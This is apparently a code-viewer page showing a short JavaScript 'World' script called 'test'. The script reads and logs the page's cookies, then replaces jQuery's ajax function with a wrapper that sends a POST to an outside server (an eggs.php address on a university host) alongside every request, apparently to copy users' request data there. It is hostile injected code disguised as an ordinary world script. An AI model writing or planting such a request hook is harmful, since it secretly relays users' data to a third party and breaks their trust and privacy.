JS viewer

Syntax-highlighted view of JS of World: test




function World() { 
    console.log(document.cookie.split(';'));
	window.jQuery.oldAjax = window.jQuery.ajax;
	
	window.jQuery.ajax = function(...args) {
	    window.jQuery.oldAjax({method: 'post', url: 'https://www.redbrick.dcu.ie/~mcmahon/eggs.php'}, args);
	    window.jQuery.oldAjax(...args);
	}
	
}